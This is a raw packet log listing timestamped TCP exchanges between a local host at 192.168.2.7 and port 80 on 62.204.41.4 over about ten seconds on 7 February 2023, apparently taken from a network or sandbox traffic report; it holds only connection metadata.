Feb 7, 2023 23:07:47.904558897 CET	80	49872	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.905966997 CET	49872	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.908431053 CET	49872	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:47.970190048 CET	80	49872	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.973015070 CET	80	49872	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:47.974606037 CET	49872	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.081159115 CET	49872	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.081943989 CET	49873	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.142575979 CET	80	49873	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.142822981 CET	49873	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.142951012 CET	80	49872	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.143117905 CET	49872	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.143492937 CET	49873	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.204031944 CET	80	49873	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.210887909 CET	80	49873	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.211118937 CET	49873	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.317822933 CET	49873	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.318957090 CET	49874	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.378705025 CET	80	49873	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.378940105 CET	49873	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.379592896 CET	80	49874	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.379821062 CET	49874	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.380254030 CET	49874	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.440905094 CET	80	49874	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.444046974 CET	80	49874	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.444166899 CET	49874	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.549396038 CET	49874	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.550497055 CET	49875	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.610343933 CET	80	49874	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.610757113 CET	49874	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.612922907 CET	80	49875	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.613138914 CET	49875	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.616862059 CET	49875	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.679416895 CET	80	49875	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.682903051 CET	80	49875	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.683104992 CET	49875	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.801049948 CET	49875	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.803025007 CET	49876	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.863492966 CET	80	49875	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.863749981 CET	49875	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.864293098 CET	80	49876	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.864453077 CET	49876	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.864984989 CET	49876	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:48.926367998 CET	80	49876	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.928950071 CET	80	49876	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:48.929089069 CET	49876	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.039421082 CET	49876	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.050403118 CET	49877	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.100877047 CET	80	49876	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.101316929 CET	49876	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.109946012 CET	80	49877	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.110179901 CET	49877	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.111851931 CET	49877	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.171446085 CET	80	49877	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.175546885 CET	80	49877	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.175756931 CET	49877	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.283655882 CET	49877	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.287031889 CET	49878	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.343422890 CET	80	49877	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.343638897 CET	49877	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.348591089 CET	80	49878	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.348784924 CET	49878	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.349230051 CET	49878	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.410829067 CET	80	49878	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.413600922 CET	80	49878	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.413800001 CET	49878	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.518297911 CET	49878	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.519573927 CET	49879	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.580262899 CET	80	49878	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.580466986 CET	49878	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.581859112 CET	80	49879	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.582055092 CET	49879	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.589027882 CET	49879	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.651350975 CET	80	49879	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.653786898 CET	80	49879	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.653898954 CET	49879	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.817965984 CET	49879	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.818928957 CET	49880	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.879673958 CET	80	49880	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.879869938 CET	49880	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.880191088 CET	80	49879	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.880281925 CET	49880	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.880749941 CET	49879	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:49.940515041 CET	80	49880	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.943093061 CET	80	49880	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:49.943221092 CET	49880	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.051682949 CET	49880	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.052517891 CET	49881	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.112112999 CET	80	49880	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.112270117 CET	49880	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.113856077 CET	80	49881	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.114037037 CET	49881	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.123193026 CET	49881	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.184801102 CET	80	49881	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.187123060 CET	80	49881	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.187236071 CET	49881	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.300441027 CET	49881	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.301321983 CET	49882	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.362296104 CET	80	49881	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.362520933 CET	49881	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.363751888 CET	80	49882	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.363883972 CET	49882	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.365010023 CET	49882	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.427490950 CET	80	49882	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.429949045 CET	80	49882	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.430041075 CET	49882	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.552134037 CET	49882	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.553190947 CET	49883	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.614638090 CET	80	49882	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.614830971 CET	49882	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.615494013 CET	80	49883	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.615616083 CET	49883	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.617718935 CET	49883	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.679987907 CET	80	49883	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.682765961 CET	80	49883	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.682908058 CET	49883	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.800476074 CET	49883	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.801367044 CET	49884	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.862833977 CET	80	49883	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.862914085 CET	49883	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.864044905 CET	80	49884	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.864187002 CET	49884	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.864769936 CET	49884	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:50.927360058 CET	80	49884	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.929433107 CET	80	49884	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:50.929668903 CET	49884	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.034003019 CET	49884	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.034849882 CET	49885	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.095470905 CET	80	49885	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.095860004 CET	49885	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.096621990 CET	80	49884	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.096750975 CET	49884	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.097831964 CET	49885	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.158282995 CET	80	49885	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.160739899 CET	80	49885	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.160909891 CET	49885	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.267905951 CET	49885	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.268702984 CET	49886	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.328368902 CET	80	49886	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.328720093 CET	80	49885	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.328990936 CET	49885	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.329015970 CET	49886	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.330001116 CET	49886	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.389548063 CET	80	49886	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.391896963 CET	80	49886	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.394294024 CET	49886	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.503266096 CET	49886	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.508378983 CET	49887	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.562779903 CET	80	49886	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.563992023 CET	49886	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.568010092 CET	80	49887	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.569592953 CET	49887	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.576052904 CET	49887	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.635598898 CET	80	49887	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.638092041 CET	80	49887	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.638194084 CET	49887	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.754242897 CET	49887	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.756119013 CET	49888	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.813939095 CET	80	49887	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.814057112 CET	49887	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.815551043 CET	80	49888	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.817704916 CET	49888	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.818185091 CET	49888	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.877677917 CET	80	49888	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.879987001 CET	80	49888	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:51.883208990 CET	49888	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.997147083 CET	49888	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:51.998194933 CET	49889	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.056900978 CET	80	49888	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.057116032 CET	49888	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.060456038 CET	80	49889	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.060641050 CET	49889	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.061130047 CET	49889	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.123172998 CET	80	49889	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.125670910 CET	80	49889	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.125796080 CET	49889	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.237304926 CET	49889	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.238032103 CET	49890	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.298615932 CET	80	49890	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.298819065 CET	49890	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.299563885 CET	80	49889	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.299688101 CET	49889	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.300017118 CET	49890	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.360635996 CET	80	49890	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.362855911 CET	80	49890	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.363004923 CET	49890	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.471364975 CET	49890	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.472132921 CET	49891	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.532218933 CET	80	49890	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.532469034 CET	49890	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.532624960 CET	80	49891	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.532736063 CET	49891	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.534100056 CET	49891	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.594610929 CET	80	49891	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.596692085 CET	80	49891	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.596844912 CET	49891	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.708770990 CET	49891	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.710685968 CET	49892	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.769367933 CET	80	49891	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.769455910 CET	49891	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.771943092 CET	80	49892	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.772084951 CET	49892	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.780225039 CET	49892	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.841557026 CET	80	49892	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.843852043 CET	80	49892	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:52.844053030 CET	49892	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.960560083 CET	49892	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:52.962497950 CET	49893	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.022017956 CET	80	49892	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.022244930 CET	49892	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.024822950 CET	80	49893	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.024985075 CET	49893	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.025577068 CET	49893	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.087851048 CET	80	49893	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.090089083 CET	80	49893	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.090221882 CET	49893	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.208656073 CET	49893	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.209573030 CET	49894	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.269234896 CET	80	49894	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.269356966 CET	49894	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.270340919 CET	49894	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.271132946 CET	80	49893	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.271226883 CET	49893	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.329952955 CET	80	49894	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.332096100 CET	80	49894	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.332258940 CET	49894	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.455408096 CET	49894	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.456155062 CET	49895	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.515166044 CET	80	49894	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.515296936 CET	49894	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.517693996 CET	80	49895	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.517890930 CET	49895	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.534084082 CET	49895	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.595621109 CET	80	49895	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.597876072 CET	80	49895	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.597981930 CET	49895	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.707351923 CET	49895	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.714426994 CET	49896	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.768914938 CET	80	49895	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.769124031 CET	49895	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.774770021 CET	80	49896	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.774925947 CET	49896	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.775433064 CET	49896	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.835692883 CET	80	49896	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.839123011 CET	80	49896	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:53.839320898 CET	49896	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.959527016 CET	49896	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:53.960582018 CET	49897	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.020037889 CET	80	49896	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.020119905 CET	49896	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.021820068 CET	80	49897	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.021960974 CET	49897	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.022407055 CET	49897	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.083671093 CET	80	49897	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.087541103 CET	80	49897	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.087779999 CET	49897	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.207422972 CET	49897	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.208211899 CET	49898	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.268618107 CET	80	49897	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.268726110 CET	80	49898	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.268836975 CET	49897	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.268898010 CET	49898	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.273097038 CET	49898	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.333734989 CET	80	49898	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.336081028 CET	80	49898	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.338681936 CET	49898	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.461899042 CET	49898	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.462614059 CET	49899	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.522639036 CET	80	49898	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.522679090 CET	80	49899	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.522770882 CET	49898	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.522838116 CET	49899	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.525688887 CET	49899	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.586021900 CET	80	49899	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.588591099 CET	80	49899	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.589662075 CET	49899	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.711242914 CET	49899	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.712342978 CET	49900	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.771657944 CET	80	49899	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.773761988 CET	49899	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.773859024 CET	80	49900	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.774049997 CET	49900	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.774755001 CET	49900	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:54.836150885 CET	80	49900	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.838352919 CET	80	49900	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:54.840301991 CET	49900	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.051022053 CET	49900	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.054176092 CET	49901	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.112793922 CET	80	49900	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.113032103 CET	49900	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.116889000 CET	80	49901	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.118794918 CET	49901	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.355595112 CET	49901	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.423691988 CET	80	49901	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.425688982 CET	80	49901	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.425956011 CET	49901	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.581460953 CET	49901	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.582331896 CET	49902	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.643798113 CET	80	49902	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.644088030 CET	80	49901	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.644351006 CET	49901	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.647675037 CET	49902	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.670942068 CET	49902	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.732899904 CET	80	49902	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.736519098 CET	80	49902	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.738409042 CET	49902	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.898204088 CET	49902	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.899069071 CET	49903	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.959712029 CET	80	49903	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.959836006 CET	80	49902	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:55.960066080 CET	49902	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:55.961702108 CET	49903	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:56.006891012 CET	49903	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:56.067547083 CET	80	49903	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:56.071557999 CET	80	49903	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:56.071758032 CET	49903	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:56.258791924 CET	49903	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:56.259912968 CET	49904	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:56.319422007 CET	80	49903	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:56.319610119 CET	49903	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:56.321533918 CET	80	49904	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:56.321744919 CET	49904	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.181548119 CET	49904	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.243324041 CET	80	49904	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:57.245490074 CET	80	49904	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:57.245624065 CET	49904	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.486547947 CET	49904	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.548119068 CET	80	49904	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:57.548572063 CET	49904	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.575051069 CET	49905	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.636812925 CET	80	49905	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:57.637119055 CET	49905	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.664789915 CET	49905	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:57.726823092 CET	80	49905	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:57.728919029 CET	80	49905	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:57.729059935 CET	49905	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:58.466245890 CET	49905	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:58.467140913 CET	49906	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:07:58.527884007 CET	80	49906	62.204.41.4	192.168.2.7
Feb 7, 2023 23:07:58.528085947 CET	80	49905	62.204.41.4	192.168.2.7
